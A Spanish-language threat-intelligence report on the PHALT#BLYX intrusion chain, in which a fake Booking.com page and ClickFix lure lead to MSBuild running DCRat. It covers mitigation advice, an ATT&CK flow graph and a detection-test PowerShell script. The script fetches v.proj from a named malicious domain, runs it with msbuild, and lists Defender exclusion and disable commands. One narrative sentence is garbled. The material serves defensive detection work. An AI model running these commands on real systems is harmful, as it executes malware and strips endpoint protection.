Análisis de PHALT#BLYX: Falsos BSODs y Herramientas de Construcción Confiables en Cadenas de Malware

Ruslan Mikhalov Chief of Threat Research at SOC Prime

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Análisis de PHALT#BLYX: Falsos BSODs y Herramientas de Construcción Confiables en Cadenas de Malware

Detection stack

AIDR
Alert
ETL
Query

Informe de Amenazas
Flujo de Ataque
Detecciones
Simulaciones

Resumen

El informe detalla una cadena de intrusión de varias etapas que afecta al sector hotelero que combina una página de destino falsa de Booking.com, una animación engañosa similar a una pantalla azul y un mensaje estilo ClickFix para persuadir a los usuarios a ejecutar un dropper de PowerShell. Ese dropper recupera un archivo de proyecto MSBuild, que ejecuta un cargador DCRat personalizado. El cargador altera Windows Defender, establece persistencia utilizando un acceso directo de inicio .url e inyecta su carga útil en procesos legítimos. Al apoyarse en utilidades de life-off-the-land como PowerShell y MSBuild.exe, los operadores reducen las huellas evidentes de malware. También se observan artefactos en ruso en la cadena como una pista de atribución.

Investigación

Los investigadores de Securonix mapearon el flujo desde correos electrónicos de phishing que ofrecen enlaces de ‘cancelación de reservación’ hacia un dominio malicioso, luego hacia un comando de línea de PowerShell que localiza msbuild.exe, descarga un archivo v.proj y lo ejecuta. El proyecto v.proj realiza múltiples acciones: agrega exclusiones a Windows Defender, descarga staxs.exe (una variante de DCRat), crea un acceso directo de inicio .url para persistencia y se conecta a la infraestructura de comando y control por el puerto 3535. El cargador luego comprime e inyecta la etapa final en aspnet_compiler.exe, usando hollowing de proceso para mezclarse con actividad legítima.

Mitigación

Reduzca la exposición entrenando a los usuarios para reconocer mensajes estilo ClickFix y la ingeniería social de «ejecuta este comando para solucionar». Monitoree y restrinja la ejecución de MSBuild.exe, especialmente cuando se invoque desde rutas inusuales o flujos de trabajo dirigidos por el usuario, y habilite el registro de bloque de script de PowerShell para una mejor visibilidad. Añada detecciones para la creación de accesos directos .url en la carpeta de Inicio y para las modificaciones a las exclusiones de Windows Defender. En la capa de red, bloquee el tráfico saliente a los dominios maliciosos identificados y restrinja explícitamente o alerte sobre salidas sospechosas al TCP/3535 donde no sea requerido.

Respuesta

Si se detecta actividad, aísle el host y preserve los artefactos clave incluyendo v.proj, staxs.exe y cualquier archivo de acceso directo .url de Inicio. Elimine exclusiones no autorizadas de Defender, termine procesos maliciosos o inyectados, y bloquee los dominios/IPs asociados de C2, especialmente cualquier comunicación a través del puerto 3535. Restablezca credenciales potencialmente expuestas, ejecute un escaneo completo de malware y examine el entorno para patrones similares de ejecución de MSBuild y comandos de PowerShell. Finalmente, despliegue detecciones informadas por inteligencia de amenazas que se centren en el abuso de MSBuild, el comportamiento de ClickFix y la persistencia mediante accesos directos de Inicio para prevenir recurrencias.

«graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#e6e6e6 classDef folder fill:#d9ead3 %% Nodos u2013 Acciones action_phishing[«Acción – T1566.002 Spearphishing Link Descripción: La víctima recibe un correo electrónico que parece ser de Booking.com y hace clic en un enlace malicioso a un sitio de reservas falso.»] class action_phishing action action_user_execution[«Acción – T1204.001 Ejecución de Usuario & T1204.004 Copiar y Pegar Malintencionado Descripción: El sitio falso muestra una página similar a BSOD que le indica al usuario pegar un comando PowerShell en el cuadro de diálogo Ejecutar.»] class action_user_execution action action_defense_evasion_exclusions[«Acción – T1562 Deterioro de Defensas & T1564.012 Exclusiones de Archivo/Ruta Descripción: El script v.proj agrega exclusiones de Windows Defender para ProgramData y extensiones ejecutables comunes.»] class action_defense_evasion_exclusions action action_persistence_shortcut[«Acción – T1547.009 Modificación de Accesos Directos Descripción: Crea un Acceso Directo de Internet (.url) en la carpeta de Inicio del usuario que apunta al ejecutable descargado.»] class action_persistence_shortcut action action_process_hollowing[«Acción – T1055.012 Vaciamiento de Proceso Descripción: Inyecta la carga útil final de DCRat en aspnet_compiler.exe usando vaciamiento de proceso.»] class action_process_hollowing action action_reflective_loading[«Acción – T1620 Carga de Código Reflectivamente Descripción: Carga cargas útiles DLL adicionales reflectivamente a través de Assembly.Load.»] class action_reflective_loading action action_c2_nonstandard_port[«Acción – T1571 Puerto No Estándar Descripción: RAT se comunica con servidores C2 sobre el puerto TCP 3535.»] class action_c2_nonstandard_port action action_c2_dynamic_resolution[«Acción – T1568 Resolución Dinámica Descripción: Resuelve múltiples dominios C2 (por ejemplo, asj77.com) en tiempo de ejecución.»] class action_c2_dynamic_resolution action action_obfuscation[«Acción – T1027.005 Archivos o Información Ofuscados Descripción: Las cargas útiles están fuertemente ofuscadas y empaquetadas para evadir la detección estática.»] class action_obfuscation action %% Nodos u2013 Herramientas tool_powershell[«Herramienta – T1059.001 PowerShell Descripción: Ejecuta el comando malicioso que descarga el archivo de proyecto MSBuild.»] class tool_powershell tool tool_msbuild[«Herramienta – T1127.001 MSBuild Descripción: Utilidad de desarrollador de confianza utilizada para compilar y ejecutar el archivo v.proj malicioso.»] class tool_msbuild tool tool_aspnet_compiler[«Herramienta – aspnet_compiler.exe Descripción: Compilador .NET legítimo utilizado como objetivo para vaciamiento de proceso.»] class tool_aspnet_compiler process %% Nodos u2013 Malware / Archivos malware_vproj[«Malware – v.proj (proyecto MSBuild malicioso) Descripción: Descargado por PowerShell, compilado por MSBuild, agrega exclusiones al defensor y suelta la carga útil.»] class malware_vproj malware malware_dcrat[«Malware – carga útil DCRat Descripción: Troyano de acceso remoto final inyectado en aspnet_compiler.exe.»] class malware_dcrat malware file_shortcut[«Archivo – Acceso directo de inicio (.url) Descripción: Apunta al ejecutable DCRat descargado y asegura autoejecución al inicio de sesión.»] class file_shortcut file folder_startup[«Carpeta – Directorio de inicio Descripción: Contiene el acceso directo malicioso que causa persistencia.»] class folder_startup folder file_dcrat_exe[«Archivo – Ejecutable DCRat descargado Descripción: Ejecutado después de la activación del acceso directo.»] class file_dcrat_exe file dll_payloads[«Archivo – Cargas útiles DLL adicionales Descripción: Cargadas reflectivamente por la carga útil DCRat.»] class dll_payloads file port_3535[«Red – Puerto TCP 3535 Descripción: Usado para comunicación C2.»] class port_3535 file domain_asj77[«Red – asj77.com (dominio C2) Descripción: Resuelto en tiempo de ejecución para comando y control.»] class domain_asj77 file %% Conexiones u2013 Flujo action_phishing u002du002d>|lleva a| action_user_execution action_user_execution u002du002d>|ejecuta| tool_powershell tool_powershell u002du002d>|descarga| malware_vproj malware_vproj u002du002d>|compilado por| tool_msbuild tool_msbuild u002du002d>|ejecuta| malware_vproj malware_vproj u002du002d>|agrega| action_defense_evasion_exclusions action_defense_evasion_exclusions u002du002d>|crea| file_shortcut file_shortcut u002du002d>|colocado en| folder_startup folder_startup u002du002d>|carga| file_dcrat_exe malware_vproj u002du002d>|deja caer| file_dcrat_exe file_dcrat_exe u002du002d>|ejecuta| malware_dcrat malware_dcrat u002du002d>|inyecta en| tool_aspnet_compiler tool_aspnet_compiler u002du002d>|vacío por| malware_dcrat malware_dcrat u002du002d>|cargas reflectivamente| dll_payloads malware_dcrat u002du002d>|se comunica a través de| action_c2_nonstandard_port action_c2_nonstandard_port u002du002d>|usa| port_3535 malware_dcrat u002du002d>|usa resolución dinámica| action_c2_dynamic_resolution action_c2_dynamic_resolution u002du002d>|resuelve a| domain_asj77 malware_dcrat u002du002d>|ofuscado por| action_obfuscation «

Flujo de Ataque

Narrativa de Ataque y Comandos:
El actor de amenaza abre una sesión de PowerShell en un punto final comprometido. Primero localizan el binario msbuild.exe, luego descargan un proyecto MSBuild malicioso ( binary, then download a malicious MSBuild project (v.proj) a C:ProgramData. El atacante invoca inmediatamente binario msbuild.exe, luego descargan un proyecto MSBuild malicioso ( para ejecutar la carga útil, que deja caer una segunda etapa. Finalmente, alteran Windows Defender agregando exclusiones y deshabilitando la monitorización en tiempo real para asegurar la persistencia.

Script de Prueba de Regresión:

# Script de simulación PHALT#BLYX – reproduce la actividad que dispara la detección
# --------------------------------------------------------------
# 1. Localiza msbuild.exe
$msb = (Get-ChildItem -Path C: -Filter msbuild.exe -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName

# 2. Descarga proyecto MSBuild malicioso a ProgramData
$projUrl = "https://2fa-bns.com/v.proj"
$dest    = "$env:ProgramDatav.proj"
Invoke-WebRequest -Uri $projUrl -OutFile $dest

# 3. Ejecuta el proyecto con msbuild.exe
& $msb $dest

# 4. Modifica configuraciones de Windows Defender (cualquiera de las siguientes satisfará la regla)
#    Descomente las líneas deseadas para simular las acciones del atacante.

# Añadir ruta de exclusión
# Add-MpPreference -ExclusionPath "$env:ProgramData"

# Añadir exclusión para archivos .exe
# Add-MpPreference -ExclusionExtension ".exe"

# Añadir exclusión para archivos .ps1
# Add-MpPreference -ExclusionExtension ".ps1"

# Desactiva monitorización en tiempo real
# Set-MpPreference -DisableRealtimeMonitoring $true

Comandos de Limpieza:

# Elimina el archivo de proyecto dejado caer
Remove-Item -Path "$env:ProgramDatav.proj" -Force -ErrorAction SilentlyContinue

# Restaura la monitorización en tiempo real de Windows Defender (si fue desactivada)
Set-MpPreference -DisableRealtimeMonitoring $false

# Elimina cualquier exclusión añadida (ejemplo para exclusión de ruta)
Remove-MpPreference -ExclusionPath "$env:ProgramData"

# Opcionalmente elimina cualquier archivo restante creado por la carga
# Remove-Item -Path "C:ProgramDatamalicious_payload.exe" -Force -ErrorAction SilentlyContinue

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Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.